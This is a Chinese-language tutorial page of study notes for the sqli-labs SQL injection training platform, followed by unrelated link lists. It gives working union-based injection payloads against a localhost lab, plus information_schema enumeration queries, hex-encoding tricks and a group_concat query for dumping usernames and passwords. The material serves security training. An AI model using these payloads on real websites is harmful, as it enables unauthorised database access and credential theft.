sqli-labs-master 闯关前知识点学习
1)、前期准备、知识点
开始之前,为了方便查看sql注入语句,我在sqli-labs-master网页源码php部分加了两行代码,第一行意思是输出数据库语句,第二行是换行符
一、Mysql 登录
1、明文密码 在bin目录下 输入:mysql -u 账户 -p 密码
2、**密码 在bin目录下 输入:mysql -u 账户 -p 后回车再输入密码
二、注释符
--+ -- # 都是SQL语句的注释符 ,sql语句运行到此结束。
三、and or
A and B A,B都Ture 结果才为Ture
A or B A,B 有一个Ture 结果就为Ture
四、limit
limit m,n :显示从m列开始 显示n行
五、 ?id=1 后加 '
可以判断存在SQL漏洞,
例如:http://localhost/sqli-labs-master/Less-1/?id= 1'or 1=1 --+
sql语句:SELECT * FROM users WHERE id=' 1'or 1=1 -- ' LIMIT 0,1
六、order by
order by + n : 查询结果根据第n列排序
order by 可判断数据表 列数
在尝试是N值折半测试
例:http://localhost/sqli-labs-master/Less-1/?id=1'order by 3 --+
SELECT * FROM users WHERE id='1'order by 3 -- ' LIMIT 0,1
七、union 联合查询
在使用 order by 测试出列数后,使用 union + 数字 查看回显信息,测试回显的哪几列,
错误示例:http://localhost/sqli-labs-master/Less-1/?id=1'union select 1,2,3--+
如图,在id值正确时 由于limit 0,1只能显示一行,回显结果无法做出正确判断
正确示例:http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,2,3--+
如图,将id值设置为-1(即不存在值),结果回显为第2、3列
八、利用union 回显位置进行数据库查询
例:http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,2,user()--+
在回显位置 显示用户(select user())
九、' 部分 特殊字符部分转化为十六进制
注:在SQL注入时 如需 ' ' 单引号括住内容 尽量转化为16进制(0x+内容的十六进制)
方式如下:
十、暴库SQL语句
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='库名'
查列:select column_name from information_schema.columns where table_name='表名'
查字段:select 列1,列2,列3 from 库名.表名
注:引号包裹部分 整体使用十六进制代替 如 table_schema='security' -> table_schema=0x7365637572697479
十一、SQL常用函数
查询函数
1.version() --Mysql版本
2.user() --数据库用户名
3.database() --数据库名
4.@@datadir --数据库安装路径
5.@@version_compile_os --操作系统的版本
字符串连接函数:
1.concat(字符串1,字符串2) --没有分隔符的连接字符串
2.concat_ws(-/~,字符串1,字符串2) --含有分隔符的连接字符串
3.group_concat(字符串1,字符串2) --连接一个组的所有字符串,并用,分隔每一个字符。
例:select 1,2,group_concat(concat_ws(0x2d2d,id,username,password)) from security.users
使用及区别详情见:https://baijiahao.baidu.com/s?id=1595349117525189591&wfr=spider&for=pc
sqli-labs-master 闯关前知识点学习的更多相关文章
- sqli-labs-master less05 前 知识点学习
1. left()函数: left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0 例: select left(database(),1)='s' 结果返回1 先查询数据库 datab ...
- sql-lib闯关1-10关
闯关之前我们需要搭建所需环境SQLi-Labs SQLi-Labs是一个专业的SQL注入练习平台,该平台包含了以下在测试场景中常见的注入类型: 1.报错注入(联合查询) 1)字符型 ...
- CTFhub-WEB前置-http协议闯关
前情提要: 在渗透学习过程中,web的基础知识很重要,在这里通过long long ago之前学习的http基础,并结合网上的CTFhub--WEB前置之http协议闯关,对web基础知识进行加固并查 ...
- 网页闯关游戏(riddle webgame)--H5刮刮卡的原理和实践
前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 对于刮刮卡, 想必大家都很熟悉, 也很喜 ...
- 《JavaScript 闯关记》
为何写作此课程 stone 主要负责基于 Web 的企业内部管理系统的开发,虽然能够熟练地使用 JavaScript,但随着对 JavaScript 的理解越来越深,才发现自己尚未掌握其精髓. 201 ...
- 《JavaScript闯关记》视频版硬广
<JavaScript闯关记>视频版硬广 stone 在菜航工作时,兼任内部培训讲师,主要负责 JavaScript 基础培训,2016年整理的<JavaScript闯关记>课 ...
- 某xss挑战赛闯关笔记
0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyu ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
随机推荐
- 4G工业路由器的性能介绍和应用需求
4G工业路由器可以实现数据的远程传输和设备控制功能,主要应用的场景包括智能电网.智能交通.智能家居.才智金融.工业自动化.公共安全.环境保护.数字化医疗等领域,特别是大数据或是视频传输等.那么4G工业 ...
- rclone 云盘同步工具的正确打开方式
Rclone 是一款的命令行工具,支持在不同对象存储.网盘间同步.上传.下载数据. 官网网址:https://rclone.org/ Github 项目:https://github.com/ncw/ ...
- .NetCore中简单使用EasyNetQ
前言 我们在.Net中使用RabbitMQ,最原始的就是基于RabbitMQ.Client进行编码,在这个过程中我们需要通过代码约定和维护队列,Exchange等.如果是自行编码封装通用型的Rabbi ...
- python爬虫03 Urllib库
Urllib 这可是 python 内置的库 在 Python 这个内置的 Urllib 库中 有这么 4 个模块 request request模块是我们用的比较多的 就是用它来发起请求 所以我 ...
- STM32最小系统板OLED贪吃蛇
上次用STM32F103最小系统板做了一个简单的OLED贪吃蛇小游戏,以下为游戏效果动图: 主要实现内容包括:贪吃蛇移动.方向控制.食物生成.分数处理.死亡判定. 这次想把自己的制作思路分享给大家,不 ...
- spark推测机制及参数设置
推测执行机制 推测任务是指对于一个Stage里面拖后腿的Task,会在其他节点的Executor上再次启动这个task,如果其中一个Task实例运行成功则将这个最先完成的Task的计算结果作为最终结果 ...
- 多级iframe中,获取元素相对于浏览器左上角的坐标(非当前frame)
搜索了好多文章,都不是自己想要的,所以在此贴下自己的解决方案,做个笔记. 1.常规需求:获取当前元素距离左边.顶部的距离 1 var x = $(div).offset().left; 2 var y ...
- JS如何判断表单中用户选择哪个哪个选项?
JS如何判断表单中用户选择哪个哪个选项? HTML代码: <form name="form1" onsubmit="return foo();"> ...
- linux基本操作之linux登陆
一 文本登陆方式: 输入用户名与密码:/etc/passwd文件对照(口令文件,保存基本的用户信息):/etc/shadow文件对照(影子文件,保存密码信息):启动相应的shell程序:用户得到 一个 ...
- centos6安装calamari
安装操作系统 首先安装操作系统centos6,安装过程选择的是base server,这个不相同不要紧,出现缺少包的时候去iso找出来安装就可以了 calamari的简单介绍 首先简单的介绍下cala ...